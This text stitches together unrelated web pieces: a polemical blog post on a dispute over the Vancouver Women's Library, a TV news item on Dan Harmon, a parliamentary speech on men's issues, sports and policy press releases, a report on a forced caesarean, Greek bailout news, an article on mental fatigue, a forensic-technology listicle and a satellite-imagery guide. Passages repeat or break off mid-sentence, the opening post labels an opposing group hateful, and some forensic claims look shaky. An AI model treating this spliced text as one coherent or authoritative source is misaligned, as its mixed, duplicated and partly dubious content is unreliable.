“TERFs and SWERFs are complicit in violence against sex workers and trans women and it is imperative that we do not let this violence go unnoticed. The same ideology and praxis of hate is present and replicated in right-wing/alt-right/neo-nazi organizing. TERFs and SWERFs organize for the same violent policies and work in partnership with right-wing hate groups to replicate settler-colonial white-supremacist constructions of cisheteropatrarchy that outright reject, erase, and deny IBPOC sovereignty, body sovereignty, and all peoples that do not fit under euro-centric nativism.”
It would seem that GAG believes that women who lend out books written by women are literal Nazis who are enacting white supremacy and patriarchy. It’s very clear that the goal of “radical queers” is to shut down feminism by harassing women and making feminist analysis of women’s oppression impossible to share. “Radical queers” are therefore obviously an anti-feminist hate group. The idea that feminists have the material power in society to inflict violence on large groups of people is completely laughable. There is not a single radical feminist in a position of power in government or the private sector, and there are very few left in the academy. In addition, physical violence is not a tactic that any feminist groups are advocating for. If recent history tells us anything about feminist organizing, we like to knit cute hats and even in crowds of thousands of women there is no violence reported at all.
GAG provided a list of the feminist books they believe should be banned from the women’s library. Here is the list:
-Admission Accomplished – Jill Johnston
-Against Sadomasochism – Robin R. Linden, Darlene R. Pagano, Diana E. Russell, Susan Leigh Star
-Amazon Odyssey: Collection of Writings – Ti-Grace Atkinson
-Buddhism after Patriarchy – Rita M. Gross
-The Female Man – Joana Russ
-Female Sexual Slavery – Kathleen Barry
-Feminism Unmodified – Catharine A. Mackinnon
-First Buddhist Women: Poems and Stories of Awakening Susan Murcott
-Gyn/Ecology – Mary Daly
-The Idea of Prostitution – Sheila Jeffreys
-The Industrial Vagina: The Political Economy of the Global Sex Trade – Sheila Jeffreys
-Intercourse – Andrea Dworkin
-The Lesbian Heresy – Sheila Jeffreys
-Nine Parts of Desire: The Hidden World of Islamic Women – Geraldine Brooks
-Not a Choice, Not a Job: Exposing the Myths about Prostitution and the Global Sex Trade – Janice Raymond
-Not for Sale: Feminists Resisting Prostitution and Pornography-Of Women Born – Adrienne Rich
-Pornography: Men Possessing Women – Andrea Dworkin
-Radical Acceptance – Tara Brach
-The Sexual Liberals and the Attack on Feminism – Janice Raymond
-Women As Wombs: Reproductive Technologies and the Battle over Women’s Freedom – Janice Raymond
This is simply a list of writing by radical feminists who expose the harms of gender and the sex industry. I have read two books from this list: Female Sexual Slavery and Pornography: Men Possessing Women. These are excellent books that I highly recommend. The only people these books could possibly be considered “hateful” towards are the men who abuse women.
It’s really surreal to me that anti-feminists are cloaking themselves in the language of social justice and calling themselves “queer.” Feminism should be a necessary part of anyone’s social justice program, and queer used to mean homosexual but is now a set of extremely anti-feminist politics that is quite hostile toward lesbians. Strange world we’re living in.
I would suggest that my readers put at least one of these books in their 2017 reading list. These are obviously very powerful books that make anti-feminists boiling mad, so they must be good! And of course, if you are in a position to support the Vancouver Women’s Library in any way, please do. Solidarity, sisters!
RT @dpeanutbutter: @danharmon GIVE US A STRAIGHT ANSWER! ~ Yes yes yes!I'm back I'm back I'm back.You can thank @joelmchale. — Dan Harmon (@danharmon) June 1, 2013
Pause to react.
Back in what capacity? He doesn't say. Back as a showrunner would be ideal, but really, we'll take "back" even if it's as a consulting producer, which was originally the title he was offered when they Update:
The Harmonless Season 4 had its moments, and the characters we've come to know and love were there in stories that seemed familiar, but the series seemed to be running on fumes, lacking the edge Harmon brought to it. I equated it to a sitcom that's showing its age, though Community should still be in its prime at this point in its run. With Harmon getting back on board, we can hope that the show will rev up again and return to some of the sharp and unpredictable comedy we came to know and love in the series' first few seasons.
Hopefully we'll hear word of his title, and I'd be interested to hear any update on whether or not Chevy Chase might come back. Seems like it may be a longshot, but Harmon did reportedly bringing that up (very possibly joking) when talking about his own return during his podcast. I don't want to be greedy but fingers crossed. And
We'll have to wait and see if there are any further updates related to this. In the meantime, thanks Joel McHale for whatever you did to make Harmon's comeback happen. Dan Harmon has confirmed that he's returning to. And we have Joel McHale to thank for this, apparently. Harmon let slip that there was a chance he might be returning to his NBC comedy series during a recording of his podcast Harmontown , however it was unconfirmed whether that was really going to happen. Today the former showrunner tweeted that "Yes yes yes! I'm back I'm back I'm back."Pause to react.Back in what capacity? He doesn't say. Back as a showrunner would be ideal, but really, we'll take "back" even if it's as a consulting producer, which was originally the title he was offered when they demoted him from showrunner after Season 3. Showrunner would be better. ( THR says Harmon is formalizing his deal to return to the show as showrunner.)The Harmonless Season 4 had its moments, and the characters we've come to know and love were there in stories that seemed familiar, but the series seemed to be running on fumes, lacking the edge Harmon brought to it. I equated it to a sitcom that's showing its age, thoughshould still be in its prime at this point in its run. With Harmon getting back on board, we can hope that the show will rev up again and return to some of the sharp and unpredictable comedy we came to know and love in the series' first few seasons.Hopefully we'll hear word of his title, and I'd be interested to hear any update on whether or not Chevy Chase might come back. Seems like it may be a longshot, but Harmon did reportedly bringing that up (very possibly joking) when talking about his own return during his podcast. I don't want to be greedy but fingers crossed. And GeekOSystem points out that Harmon's return could potentially lead to the return of Starburns - or at the very least, Dino Stamatopoulos. Maybe he could play Starburns' brother Diamondburns. (Or maybe I'm just really excited.)We'll have to wait and see if there are any further updates related to this. In the meantime, thanks Joel McHale for whatever you did to make Harmon's comeback happen. Why Sophia Bush Left Chicago P.D. Blended From Around The Web Facebook
Some people have said that every day is International Men's Day in Parliament because there are so many men there, but there is a huge difference between men raising issues and the raising of men's issues – we might get lots of the former, but we seldom get the latter.
In 2012, over 4,500 men felt they had no choice but to take their own lives. In 2013 the figure was nearly 5,000 men. In 2014, it was 4,630 men. In fact 75% of all suicides that year were committed by men – this is such a tragedy, and yet this issue is hardly considered in parliament.
Over the last 30 years there have been 134,554 men who have taken their own lives in the UK.
A poll commissioned by Calm (Campaign Against Living Miserably) found that four in 10 men (42%) had considered suicide, with two fifths (41%) never talking to anyone about their problems. Yet beside this evidence there is little research into tackling the issue and existing research is gender-neutered, despite the disproportionate way this issue targets men. If this was something that affected women in such an obvious way I can't help but feel this issue would be a higher priority.
In some areas, men are fighting to get any of the budget where something is deemed to be a predominantly female problem – such as domestic violence. The Crime Survey England and Wales estimates that 8.2% of women and 4.0% of men reported experiencing any type of domestic abuse in the last year, that there were 6.5% of women and 2.8% of men who reported having experienced any type of partner abuse in the last year and that overall, 27.1% of women and 13.2% of men had experienced any domestic abuse since the age of 16.
In other words, for every three victims of domestic abuse, two will be female, one will be male.
Despite this, the split of funding for victims is nowhere near appropriate. In the UK, 20 organisations offer refuge or safe house provision for male victims. This is a total of 82 spaces, of which 24 are dedicated to male domestic violence victims. For female victims there are nearly 400 specialist domestic violence organisations providing refuge accommodation in the UK with over 4,000 spaces for over 7,000 women and children.
While, unfortunately, I doubt there are enough spaces to accommodate all the female victims, it is unbelievable that despite making one third of all victim cases, there are only 24 male spaces of refuge in the UK. And still the Government is announcing funding just for female victims. It cannot be right that male victims are completely overlooked – especially if we believe in gender equality.
Linked to the low number of refuge spaces available to men, homelessness is a growing issue. Reporting on the demographics of rough sleepers in Greater London, in their 2015/16 report St Mungo's states that 8,096 people were seen sleeping rough last year, of whom 85% were male. Yet still women make up the largest number of those accepted as homeless by local authorities and thus are more likely to receive assistance.
Finally, an issue that rarely gets mentioned is the problem fathers face simply trying to play their part in their children's upbringing.
I think we underestimate the effect on fathers of having to battle to see their children and facing the inevitable likelihood that they will come off worse simply because of their sex.
When you think about it, in so many ways, considering men and women separately – as if they live in complete isolation to each other – is actually ridiculous. Neither group is isolated. Both sexes have mothers and fathers, sisters and brothers, sons and daughters, husbands and wives, so for every woman there are related male parties and therefore a vested interest in men's issues. It is an unavoidable fact.
The fact is, there are some issues which affect men solely or more than women and vice-versa, but both men AND women have an interest in those issues in reality, and working together to solve them must be the best way forward.
International Men's Day at least means for one day of the year these issues get the publicity they deserve.
The changes continue FFA’s strategy of putting clubs - including Hyundai A-League, Westfield W-League and National Premier League clubs - at the heart of player development.
“The Centre of Excellence has served Australian football well over a long period but the time has come for change,” said FFA CEO David Gallop.
“We are working with clubs and Member Federations to create a player development system that will be able to grow with the game around the country, recognises the evolution of Hyundai A-League and Westfield W-League clubs and their academies and meets the requirements of our national junior teams programs.
“While the Centre of Excellence has helped to produce great players and still delivers a quality product, it caters to a maximum of 24 boys at Under 16 and Under 17 level at a cost of $1.6 million a year.
“We believe FFA resources can be better used in a decentralised and expanded system that provides opportunities for many more young male and female players within club settings around Australia.
“The reality is that increasingly, some talented young players are choosing to stay with their local clubs or find places in Hyundai A-League academies and our schools program. Even among those who have attended the Centre of Excellence in recent years, fewer than half have gone on to become professional players.
“This is no reflection on the staff who have always shown great professionalism and commitment to this program and the boys. But it does demonstrate how the game is evolving in Australia and why we need to change.”
The five staff members, as well as the 20 players currently on scholarships and their parents, were informed of the decision and the reasons behind it earlier this afternoon.
The Centre will close in late August from a football perspective with the players given the option of remaining in Canberra until the end of the school year should they wish to do so.
Arrangements for staff during the transition are being discussed individually with each staff member based on the nature of their employment. All staff will be supported through the FFA’s Employee Assistance Program.
Below is a statement by Ken Kimmell, president of the Union of Concerned Scientists (UCS). Kimmell is the former commissioner of the Massachusetts Department of Environmental Protection and Regional Greenhouse Gas Initiative board chair.
“The bill is a step in the right direction. Crafted with bipartisan cooperation, it makes progress towards modernizing our outdated electric grid. It also contains good energy efficiency provisions and authorizes increased funding for clean energy research and development.
“But the work’s not over. It’s now up to Congress to build on this legislation by adopting more robust renewable energy policies. Transitioning to a clean energy economy requires expanding our renewable energy infrastructure and placing a price on carbon, the leading contributor to climate change. In addition, a final bill should remove current provisions that legislate science on the issue of burning wood to generate electricity."
“While not perfect, the bill provides a marked contrast to the partisan energy legislation that passed in the House in December aimed at maintaining the existing fossil fuel status quo. That bill does little to expand the country’s clean energy infrastructure and would make the United States more reliant on fossil fuels like coal. The Senate bill is clearly the more responsible policy and is the version that must ultimately end up on the president’s desk.”
The Senate energy bill is also expected to include provisions aimed at improving the integration of storage batteries into the electric grid, helping rooftop solar businesses push back against utilities that limit their ability to store and use surplus solar energy, and developing and deploying micro-grid systems that can run independently of the larger electric grid.
What makes Marshall Tinkle such an expert on the Maine Constitution? Well, for one thing, he literally wrote the book on it. Tinkle, who practices law in Portland, is the author of the reference book, The Maine State Constitution.
In his piece, Tinkle addresses 3 questions:
Does ranked-choice voting violate the “sort, count, declare” provisions in the Maine Constitution?
Does ranked-choice voting violate the “plurality provisions” in Maine’s Constitution?
Does ranked-choice voting violate the provision in the Maine Constitution for breaking a tie in a gubernatorial election?
In simple terms, Tinkle explains why opponents of ranked choice voting have a weak argument to make on all three questions. Further, he says the constitution does not permit the high court to issue an advisory opinion on the matter regardless.
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What is before the Maine Supreme Court is a ballot measure that was approved by a majority of voters. Yet, lawmakers and government officials on both sides of the aisle don’t want to see it go into effect.
“We — the people of Maine — have the right to direct democracy,” Tinkle writes. “We exercised that right when we proposed and approved ranked-choice voting as a better system for electing our leaders. Unless a voting procedure is expressly banned by our Constitution, it should not be construed as inhibiting attempts to improve the electoral system.”
Tinkle also filed a responsive brief to the Supreme Court on the matter in March:
[The state constitution] broadly lays out a few basic steps in the ballot aggregation process designed to foster accuracy, transparency, and integrity so that the election results will reflect the will of the electors. There is no evidence that ranked-choice voting will impede any of these goals. To the contrary, it is designed to better reflect the popular will in the election results.
The Maine Supreme Court heard oral argument on ranked choice voting Thursday morning. State lawmakers challenging ranked choice voting are hoping the justices will give them justification to not implement the voter-approved, alternative voting method.
The whole saga — which began back in 2012 — is laid out in a vivid Sunday Telegraph column, detailing the Italian woman's descent into a strange legal labyrinth in a foreign country. Last summer, social services in Essex obtained a High Court order against the woman that allowed her to be forcibly sedated and her child (now 15 months old) taken out of her womb. According to the Telegraph's Colin Freeman, the council said at the time that it was acting in the child's best interests — the woman, who apparently had a preexisting bipolar condition, had suffered a mental breakdown during her two-week work trip in the UK.
The woman's daughter is still in the care of social services, though the woman claims she's made a full recovery. What began as an example of the power British social services can wield in an extreme situation has quickly turned into an international issue, with lawyers for the woman describing her forced C-section as "unprecedented."
From the report:
They [the woman's lawyers] claim that even if the council had been acting in the woman's best interests, officials should have consulted her family beforehand and also involved Italian social services, who would be better-placed to look after the child. Brendan Fleming, the woman's British lawyer, told The Sunday Telegraph: "I have never heard of anything like this in all my 40 years in the job. "I can understand if someone is very ill that they may not be able to consent to a medical procedure, but a forced caesarean is unprecedented. "If there were concerns about the care of this child by an Italian mother, then the better plan would have been for the authorities here to have notified social services in Italy and for the child to have been taken back there."
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The woman, who has not been named for legal reasons, came to Britain last July to attend a training course with an airline at Essex's Stansted Airport. She then suffered a panic attack, whereupon she called police, who became concerned for her well-being and took her to a hospital that she soon realized was a psychiatric facility (the woman's family believes that her panic attack was caused by her failure to take medication for her bipolar condition). The woman has told her lawyers that when she expressed a desire to return to her hotel, she was restrained and sanctioned under the Mental Health Act.
Essex social services obtained the High Court order in August for the woman's birth to "to be enforced by way of caesarean section." During the intervening five weeks between when she was placed in the psychiatric and when she was forcibly sedated prior to the C-section, the woman claims she was kept oblivious about the legal proceedings surrounding her pregnancy.
A woman takes photographs outside of the ancient Herodes Atticus theatre as the Parthenon temple is seen in the background in Athens December 13, 2012. REUTERS/John Kolesidis
The deal averts a catastrophic default and secures Greece’s survival in the euro zone after months of doubt and political turmoil. Athens had repeatedly missed fiscal targets agreed with the EU and the International Monetary Fund, and stalled structural economic reforms.
“We are convinced that the program is back on a sound track,” Jean-Claude Juncker, chairman of the 17-nation euro area’s finance ministers told a news conference after they met in Brussels ahead of an EU summit later in the day.
“Money will be flowing to Greece as early next week.”
Separately, Juncker said the Eurogroup expected to receive a report on Cyprus’ banks’ needs by mid-January in order to take a decision on a potential 17.5 billion euro bailout for the east Mediterranean island, which has been badly hit by fallout from Greece’s debt crisis.
The ministers agreed to disburse a total of 49.1 billion euros in loans, with 34.3 billion of that flowing to Greece immediately and the rest to follow in stages by the end of March once Athens meets a series of reform benchmarks.
“We’ve been through quite an odyssey since the spring,” EU Economic and Monetary Affairs Commissioner Olli Rehn told a joint news conference.
“At that time in spring a highly unpredictable political situation had many observers convinced that the game was up for Greece in the euro area. As we approach the end of this turbulent year, those Cassandras have been proven wrong.”
Many economists and pundits were forecasting earlier in 2012 that Athens would be forced to leave the single currency in what became known as “Grexit”.
Citigroup chief economist Willem Buiter, who coined the term, had put the likelihood of a Greek exit within 18 months at 90 percent earlier this year. But he has since reduced that to 60 percent, arguing that Greece could fail the next donors’ review in March or see its fragile pro-bailout coalition crumble.
“GREXIT IS DEAD”
Greek Prime Minister Antonis Samaras said Thursday’s decision showed that European solidarity was working and his country would stay in the single currency.
“Grexit is dead. Greece is back on its feet. The sacrifices of the Greek people have not been in vain,” Samaras said on arrival for talks with other center-right leaders in Brussels.
Agreement to release the funds hinged on the success of a debt buyback launched by Greece last week, which will enable Athens to retire nearly 20 billion euros in bonds repurchased at a third of their face value from private investors.
Juncker said he was not sure additional measures would be needed to reach an agreed goal to bring Greece’s debt down to 124 percent of gross domestic product (GDP) by 2020, but the bloc stood ready to take new steps if necessary.
The ministers’ promised to consider additional debt relief if needed provided Greece achieves a primary budget balance in 2013 before debt service payments.
IMF Managing Director Christine Lagarde, who took part in the euro zone meeting by conference call from Latin America, said she would recommend to the Fund’s board in January that it continue to support the Greek program.
The debt buyback and the pledge of additional debt relief would ensure that Greece’s debt will fall to 124 percent of gross domestic product by 2020, and to substantially below 110 percent of GDP in 2022, she said in a statement.
Continued IMF involvement is vital for several EU creditor nations, including Germany, the bloc’s biggest paymaster.
Of the immediate aid, some 16 billion euros will go towards recapitalization and resolution of Greece’s teetering banks, 11.3 billion to finance the debt buyback and 7 billion for budget financing.
A further 7.2 billion euros will flow next month to buttress Greek banks and the remaining 7.6 billion will be paid in monthly installments when the conditions are met.
While the government voiced relief at the long-awaited Brussels decision, anti-bailout radicals and ordinary Greeks belittled or dismissed it.
Hard left opposition leader Alexis Tsipras said on visiting a memorial to the biggest Nazi German massacre during the World War Two occupation of Greece, at Kalavryta, that other countries had a moral liability for the country’s debts.
“Past governments have left us with an onerous debt that’s bedeviling us and we’re looking for a way out of it. Our people are not to blame. Other governments and other people too must repay that debt,” Tsipras told reporters.
In Athens, 79-year-old Thanasis Golkas, who supports himself and his daughter’s family on a 400 euro monthly pension, said: “The money is going straight to the banks, not our pockets so what is there to be happy about?”
Small business owner Konstantinos Papasotiriou said the country’s politicians needed to put an end to the debt problems but he doubted they were capable of it.
Like most days, I spent the bulk of yesterday sitting in what I’ve determined to be the breeziest corner of my apartment, typing on my laptop. I filed a story, transcribed interviews for a few hours, and sent about half a million emails, but rarely got up from my chair. Still, by late afternoon, I wasn’t just exhausted mentally, but physically, too — disproportionately so, it seemed, considering how little I’d moved. After briefly panicking that I’d fallen suddenly ill (blogging cancer?), I reached out to a couple of sleep and stress experts to tell me why it is that mental fatigue can feel so … physical.
Certain forms of tiredness can often feel more “earned” than others. I get being tired after a run, but after sending some emails? Come on. Yet Dr. Steven Feinsilver, the director of sleep medicine at Lenox Hill Hospital, stresses that mental fatigue is very much legitimate. He explains that the human body reacts to stress in many of the same ways regardless of whether the source is mental, like a difficult math problem, or physical, like running. “Your heart will pump and you’ll produce adrenaline whether somebody’s chasing you, or you’re just really upset about something,” he said. Furthermore, the brain requires a disproportionately high amount of the body’s energy, accounting for about 20 percent of the oxygen consumed by the body. “Your muscles normally aren’t sucking a lot of oxygen out of you,” says Feinsilver. “With exercise, they will.But the brain always takes a lot of your energy.” In other words, if you’re conscious, your brain demands your energy, and lots of it. Using your brain takes real, honest, physical work — it’s just not visible to us the way using our muscles to exercise is.
It’s also possible that you’re picking up some of your exhaustion from the people around you, says Dr. Curtis Reisinger, clinical psychologist at Zucker Hillside Hospital. “Emotions are pretty much contagious, so the environment you’re in can make you exhausted,” says Reisinger. “If you’re with a group of people who are all talking about how stressed and fatigued they are, over time, this will become a normative behavior for the group.” So that co-worker Slack room you’re in, where everyone complains about badly they slept, and how slowly the day is moving? Chances are good you’re picking up on those tired, restless vibes whether you realize it or not.
Forming emotional and mental responses to the stimuli around us, too, takes physical work. Here Reisinger refers to the work of Lisa Feldman Barrett, much of whose work centers on the premise that our brains create our emotions by forming predictions based on past experiences. Similarly, says Reisinger, our brains are constantly predicting what’s going to happen to us next: “[As we talk], you’re making predictions about how this interview is going, and as you go through each one of these mental simulations, your body is essentially getting activated to act as if it was really happening right then and there,” he says. “You don’t jump off the couch, but if you measure someone’s heart rate or their galvanic skin response, you’ll see that those physiological measures change, and that’s where the fatigue comes from.” By this logic, when you’re at your laptop writing, or studying for a final, your body is preparing you for the various possibilities ahead, like missing a deadline, or failing your exam, or what you might have for lunch after you finish with your work. And running through those scenarios, even mentally, can be exhausting. Perhaps unsurprisingly, Reisinger says that people with anxiety and/or depression — who may spend more time anticipating — are likely to experience this type of fatigue more acutely.
And now it's gotten worse for Welker. Pawngo, an online pawn shop, delivered 900 pounds (8,000 bars) worth of Butterfingers to Boston's Copley Square as a thank you for his fourth-quarter drop, one of the more replayed gaffes that gave the New York Giants a chance to come back and win the game. The mocking delivery was made while the Giants were celebrating with a victory parade in New York's Canyon of Heroes.
It's a light-hearted gesture, though that certainly won't comfort Welker if it gets back to him. It's also a little bold, because Tom Brady had as much to do with the drop as Welker, but mostly because we'd hate to be the girl standing around Boston with a "Thank you Wes Welker" sign. Doesn't seem like the safest line of work this week in the greater New England area.
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The technology is emerging at an enormous rate and it is infiltrating every aspect of our lives. Solving crimes has become futuristic in its initial stage only. From trace evidence chemistry to retinal scanning, forensic technologies are so advanced at solving crimes that they seem like a scene of the science fiction thriller movie.
The area of forensic science draws from several scientific branches, including chemistry, biology, physics, biotech, computer science, with its focus on recognition, identification, and examination of evidence. Today, it has become a necessary part of the judicial system. Let’s find out some of the latest technologies that utilize a wide spectrum of sciences in order to obtain data relevant to crime and legal evidence.
16. Video Spectral Comparator 8000
VSC 8000 is used for examination of documents and comparison of inks. It is capable of viewing and recording the response of document evidence when exposed to light of different wavelengths. Reflectance, transmitted spectra, fluorescence and absorption are captured in real time. In order to obtain these results, combination of infrared luminescence, visible, ultraviolet, transmitted, coaxial or oblique lightning can be used.
The instrument makes it possible to complete these analyses, even after a piece of paper has been damaged by water or fire. It is also capable of reveling all levels of security features including anti-strokes inks, UV security threads, taggants, and latent images.
15. Automated Fingerprint Identification System (AFIS)
Before the 1970s, investigators analyzed inked fingerprints and several minutiae details like ridge dots, bifurcations, and the fingerprint cards filed according to patterns from the Henry classification system. It has now become more scientific with the use of portable scanners and computers. Forensic scientists, nowadays, can easily and quickly compare a fingerprint at a crime scene with an extensive virtual database.
Many states have their own automated fingerprint identification system that has capabilities like electronic image storage, latent searching and electronic exchange of fingerprints and responses. Fingerprint matching algorithms are categorized in terms of false positive and false negative error rates. They also vary in terms of features like image rotation invariance and independence from a reference point.
The accuracy of the algorithm, robustness to poor picture quality, and print matching speed are some critical components of system performance. Moreover, fingerprint matching has an exceptional computational burden. A few vendors deploy custom hardware while other use software to achieve matching speed and throughput.
14. Ear Print Analysis
When human ear is pressed against a specific surface, like helix, antihelix tragus, and antitragus, material present on the ear’s surface (skin oil, wax, etc.) are left behind, forming a 2D ear print. Each ear print contains a specific and individual anatomical marker that can be used to distinguish it from other discovered material, and compare it to other ear print on file in forensic databases in order to identify suspects. The height of an ear imprint can provide investigators identification and information regarding the stature of the perpetrator.
Forensic analysis of ear prints is more economical than DNA profiling, and it is thought to be more reliable in legal proceedings because it is virtually impossible to alter or tamper with. The first ear print identification of a criminal was made back in 1965 in Switzerland. Also, it has been successfully used to solve many criminal cases in the Netherlands and UK.
13. XFT
Criminals often hide illegitimate data on the XBox, thinking that a gaming console will not be seen as a likely evidence target, especially when conventional PCs are present in the same premises. XFT is a forensic toolkit developed by Collins to help investigators to access hidden files on the Xbox hard drive easily.
XFT mounts an image of the FATX file system (used in Xbox), allowing the investigator to explore the directory structure in detail. Unlike standard NTFS, and FAT32, there is little documentation on the proprietary FATX system. However, it is possible to create an image of a FATX hard disk and mount it on another device.
XFT can also record investigative sessions for playback in a court of law, providing more solid evidence for the prosecution.
12. Carbon-14 Dating
Carbon-14 dating (also called radiocarbon dating) has long used to estimate the age of certain objects. The traditional method is applied to organic remains up to 50,000 years old and exploits the fact that trace amounts of radioactive carbon are discovered in the environment.
Measuring Carbon-14 levels in human tissue helps forensic investigators determine age and years of death of unidentified human remains. Over the past 60 years, the amount of radiocarbon in human or their remains depends heavily on when they were born. To determine birth year, researchers focus on tooth enamel, whereas, to find death year, they use radiocarbon levels in soft tissues.
11. Age Progression and Image Modification
Age Progression is used in photographs to show what a person would look like at a specific age and it is most specifically used by law enforcement as a forensic tool in the case of missing person.
There are many internal factors considered before attempting an age progression drawing. Some of these factors include smoking, drugs, allergic reactions, genes, lack of rest, alcohol consumption, and diet over a certain period. On the other hand, external factors like weather, chapping skin, makeup, contact lenses, should be considered as well.
10. Luminol Spray
Luminol chemical exhibits chemiluminescene, with a blue glow, when mixed with an appropriate oxidizing agent. The glow only lasts about 30 seconds, but the examiner could document the effect with a long-exposure photograph. Since this spray reacts with the iron in hemoglobin, forensic analysts use it to detect trace amounts of blood at crime scenes.
With both Luminol and Fluorescein, the technique must be performed at nighttime or in a darkened room. Ambient light should not be strong as to overpower the fluorescent reaction during the photography and analysis.
9. Bloodstain Pattern Analysis (BPA)
As the name suggests, it is the pattern analysis that can examine the blood evidence left behind and obtain conclusions as to how the blood may have been shed. From the crime scene, forensic analysts can collect data from spatter patterns, voids and other marks which will help them recreating the sequence of events that occurred after bloodshed. BPA draws on the scientific disciplines of physics, chemistry, mathematics and biology.
The shape of the bloodstain pattern depends on the force used to propel the blood and also on the surface it lands. Impact spatter will create larger drops and be more concentrated in the areas directly adjacent to the action, while forward spatter from a gunshot wound will form smaller droplets over a wide range of area.
8. Audio and Video Forensics
The aim of audio forensics is to establish the authenticity of audio evidence, perform enhancement of recordings, interpret and document sonic evidence and reconstruct crime or timelines. Modern audio forensics technique makes extensive use of digital signal processing, adaptive filtering, discrete Fourier transforms, voice biometrics and electrical network frequency analysis.
Several enhancement techniques could be performed on video evidence too. However, if an analog copy or digital file has undergone additional compression during analysis process, the technique might not work at all. The enhancement of videos is done via sharpening, masking, video stabilization, interlacing and demultiplexing.
7. DNA Sequencer
Image credit:
DNA is a precious key in the search for justice. It plays a significant role in several different situations, from the initiation of investigation through post conviction confirmation of the truth. We all are aware of that forensic scientists use DNA profiling to identify victims using trace evidence like hair, skin samples, whereas the more powerful DNA sequencer lets them to examine old bones or teeth to determine the particular ordering of individual’s DNA nucleobases.
Nuclear DNA found in blood, mucus, vaginal secretions, sperm, bone and hair roots can be in either liquid or dried form, and it is durable and long lasting. Restriction fragment length polymorphism (RFLP) is a traditional method of DNA analysis, which involves the comparison of lengths of specific DNA fragments.
The replication or amplification process is called polymerase chain reaction (PCR). It lets forensic scientists develop DNA profiles from extremely small samples. It’s a 3 step process – First, the DNA strand is denatured; the second step is Annealing, and lastly, DNA strand is heated again, activating a polymerase. The number of new DNA strands doubles every time the PCR process is performed, theoretically generating a billion copies after 30 cycles.
6. Alternative Light Photography: Forensic Nursing
The specialized role of forensic nurses goes far beyond medical care. They have advanced knowledge of the legal system and skills in injury identification, treatment and documentation. They often gather evidence, consults with legal authorities and provides medical testimony in court.
Although forensic nurses have many tools at their disposal to help victims of violence and abuse, Alternative Light Photography is one of the impressive tools to help see the damages that aren’t visible on the skin. A camera like Omnichrome uses orange filters and blue light to clearly display brushing below the skin’s surface.
The Omnichorme Helium-Cadmium laser is of coaxial geometry with integral hard glass-metal sealed resonator mirrors and utilizes Cadmium of natural isotopic abundance. The optimal choice of construction material, careful design of mechanical structure, Cadmium vapor and helium pressure control circuits defines the reliability and lifetime of the instrument.
5. 3d Forensic Facial Reconstruction
The advancement of 3d technology leads to a rapid, effective and cost efficient computerized 3d forensic facial reconstruction method, which has brought down the degree of error. Forensic facial reconstruction technique is a combination of both artistic skill and scientific methods. However, there are many different methods of manual facial reconstruction, the combination Manchester method is said to be more accurate for the positive recognition of a suspect or victim.
The 3d facial reconstruction software inputs a real life human remain and extrapolates a possible physical appearance. The aim is to create a picture from skull which provides a sufficient likeness of the an individual, which will further facilitate identification of skeletal remains.
4. Link Analysis for Forensic Accountants
Link analysis software is used to highlight some odd financial activities. It is generally used by forensic officers trying to trace illicit funds through a sea of paperwork. The software includes customer profiling, strange financial transactions and statistics to create probabilities of illegal activity.
The ratio analysis involves calculation of both traditional and nontraditional financial ratios like asset turnover, operating performance margin, working capital turnover, sales growth, asset quality and more. Since the ratios standardize organizations for size and other key factors, one would expect industry to follow similar trends.
3. Bite Mark Analysis and Comparison
Bite mark analysis and comparison involve standard techniques for analyzing and examining bite marks that are based on interpreting photographic evidence in which a bite is compared with the models of the teeth suspects. The angle and quality of the bite mark images and precision of the impression plays a key role throughout the investigation.
The technique is quite complex as the bite marks can be distorted by the anatomic location or the elastic properties of the skin tissue. The angle of the maxilla and pressure of bite can alter the appearance of a mark.
Most of the comparison techniques involve the fabrication of overlays. Several different methods to create overlays from a suspects’ definition includes hand tracing from wax impressions, dental study casts, xerographic images, radiopaque was impression and computer based method.
2. High Speed Ballistics Photography
Ballistics photography involves the utilization of 3d imagery (taken by high-speed cameras) for the forensic comparison of bullets. It helps you understand how bullet holes, gunshot wounds and glass shatters are made. Ballistics investigators often have to match a specific bullet or shell casing to a particular weapon, reconstruct crime scenes by estimating the distance between gun muzzle and the person who was shot, and determine the trajectory of the bullets fired.
Read: 10 First Technologies Version of Their Kind
The forensic technology has also designed a prototype Virtual Comparison Microscope (VCM). It utilizes images from BulletTrax-3d system and is especially helpful with deformed bullets, different types of rifling, and bullet fragments. Analyzing these in traditional microscope is quite time consuming as it constantly requires to re-adjust lighting, focus and perspective to get views from different angles. However, with VCM, bullets could be moved in any direction while maintaining a consistent appearance.
1. Laser Ablation Inductively Coupled Plasma Mass Spectrometry (LA ICP MS)
When Shattered or broken glass is involved in a crime scene, putting all pieces together and reconstructing the design could produce some important clues like the force of impact, type of weapon, direction of bullet, etc. The classical method of forensic glass analysis is based on the physical properties like color, density, shape, surface, and optical properties have been relied on the comparison of control glass with unknown glass fragments.
However, LA ICP MS provides exceptionally low detection limits for elemental analysis and can be used to detect more than 70 isotopes. The highly sensitive instrument can perform quick, simultaneous, multi-element analysis. One of the big advantages of ICP MS is the number of sample types that may be accommodated. It has been adapted for solid, liquid and gaseous samples.
Read: 12 Unfamiliar Uses of Nanotechnology in the Modern World
The secret is that there are dozens of websites from agencies around the world that will equip you with high quality satellite imagery.
But wait there’s more 🙂
Not only can you can download some of the latest, greatest satellite imagery – but it’s all at NO CHARGE. And all you need to know is where to find them.
(That’s where we come in)
If you want free satellite data, there’s no better way to do it then to follow this incredibly useful guide. Ranked from top to lower tier, here are your go-to free satellite imagery sources. Take a look at our list of eyes from the sky.
1 USGS Earth Explorer – Unlock the Power of Landsat and More
Whether you live in the United States, in the Arctic circle or an obscure country like Transnistria, we can all appreciate the abundance of data the USGS Earth Explorer has to offer.
We’ve relentlessly hyped USGS Earth Explorer here, here and here… .and we’re about to do it again…
From no data to hyperspectral data, USGS is the undisputed world champion of free satellite data providers. Here’s why:
Access to Landsat satellite data – a legacy that goes unmatched. 40-years of history of our Earth with consistent spectral bands.
Vertically position yourself with NASA’s ASTER and Shuttle Radar Topography Missions global Digital Elevation Models.
Gain full access to NASA’s Land Data Products and Services including Hyperion’s hyperspectral data, MODIS & AVHRR land surface reflectance and disperse Radar data.
We sound like a broken record. But USGS Earth Explorer is a world-class source of free satellite data. Regardless where you live, you NEED to look at the USGS Earth Explorer. Here’s your guide how to download free Landsat imagery from the USGS Earth Explorer.
2 ESA’s Sentinel Mission – New Leader in Free High Resolution Data?
Sentinels Scientific Data Hub is the official download headquarters for the European Space Agency’s Sentinel satellite data. But the question is: Is ESA’s sentinel satellites a worthy alternative to Landsat? I’d say yes… but without the long-lasting legacy. Here’s why:
